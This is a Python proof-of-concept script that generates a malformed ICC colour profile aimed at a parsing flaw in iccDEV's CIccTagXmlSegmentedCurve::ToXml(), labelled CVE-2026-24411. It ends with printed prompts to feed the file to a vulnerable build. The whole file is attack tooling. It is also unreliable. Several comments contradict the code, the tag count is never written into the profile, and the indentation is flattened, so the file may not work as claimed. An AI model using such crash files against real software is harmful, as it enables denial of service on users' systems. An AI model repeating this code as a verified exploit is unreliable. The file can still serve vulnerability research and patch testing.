#!/usr/bin/env python3
"""
CVE-2026-24411 PoC - Malformed ICC Profile Triggering Undefined Behavior
in CIccTagXmlSegmentedCurve::ToXml()
This PoC demonstrates the vulnerability by creating a malformed ICC profile
with crafted XML Segmented Curve data that triggers undefined behavior.
"""
import struct
import os
def create_malformed_icc_profile():
"""
Create a minimal ICC profile with malformed CIccTagXmlSegmentedCurve data
to trigger undefined behavior in ToXml() method.
"""
# ICC Profile Header (128 bytes)
header = bytearray(128)
# Profile size (will be updated)
struct.pack_into('>I', header, 0, 0)
# Preferred CMM Type (little-endian 'lcms')
header[4:8] = b'lcms'
# Profile Version
struct.pack_into('>I', header, 8, 0x02400000)
# Profile Device Class (input device - 'scnr')
header[12:16] = b'scnr'
# Color Space (RGB - 'RGB ')
header[16:20] = b'RGB '
# PCS (Profile Connection Space - Lab - 'Lab ')
header[20:24] = b'Lab '
# Date (seconds since 1/1/1970)
struct.pack_into('>I', header, 24, 0x5F000000)
# Profile File Signature ('acsp')
header[36:40] = b'acsp'
# Primary Platform (Mac OS - 'MSFT')
header[40:44] = b'MSFT'
# Profile Flags
struct.pack_into('>I', header, 44, 0)
# Device Manufacturer
header[48:52] = b'TEST'
# Device Model
header[52:56] = b'TEST'
# Device Attributes
struct.pack_into('>Q', header, 56, 0)
# Rendering Intent
struct.pack_into('>I', header, 64, 0)
# PCS Illuminant (D50 XYZ - 0.9642, 1.0, 0.8249)
struct.pack_into('>I', header, 68, int(0.9642 * 65536))
struct.pack_into('>I', header, 72, int(1.0 * 65536))
struct.pack_into('>I', header, 76, int(0.8249 * 65536))
# Profile Creator
header[80:84] = b'TEST'
# Profile MD5 (placeholder)
header[84:100] = b'\x00' * 16
# Tag Count
tag_count = 1
# Tag Table
tag_table = bytearray()
# Malformed XML Segmented Curve tag 'mluc' with invalid data
# Tag signature for XML Segmented Curve
tag_sig = b'xmls' # XML Segmented Curve signature
# Create malformed tag data
# This triggers undefined behavior when parsed by ToXml()
malformed_data = bytearray()
# Invalid offset/size values to trigger UB
malformed_data += struct.pack('>I', 0xFFFFFFFF) # Invalid offset
malformed_data += struct.pack('>I', 0xFFFFFFFF) # Invalid count
malformed_data += b'<invalid_xml>\x00' * 100 # Malformed XML
# Pad to 4-byte alignment
while len(malformed_data) % 4 != 0:
malformed_data += b'\x00'
# Tag data offset (after header + tag table)
data_offset = 128 + (tag_count * 12)
# Add tag entry
tag_table += tag_sig
tag_table += struct.pack('>I', data_offset)
tag_table += struct.pack('>I', len(malformed_data))
# Combine all parts
profile = header + tag_table + malformed_data
# Update profile size
struct.pack_into('>I', profile, 0, len(profile))
return bytes(profile)
def main():
"""Generate and save the malformed ICC profile."""
print("[*] Generating malformed ICC profile for CVE-2026-24411")
print("[*] Target: CIccTagXmlSegmentedCurve::ToXml()")
malformed_profile = create_malformed_icc_profile()
output_file = "cve_2026_24411_poc.icc"
with open(output_file, 'wb') as f:
f.write(malformed_profile)
print(f"[+] Malformed ICC profile saved to: {output_file}")
print(f"[+] File size: {len(malformed_profile)} bytes")
print("[!] This file can trigger undefined behavior when processed by iccDEV < 2.3.1.2")
print("[!] Use with vulnerable iccDEV application to trigger the vulnerability")
if __name__ == "__main__":
main()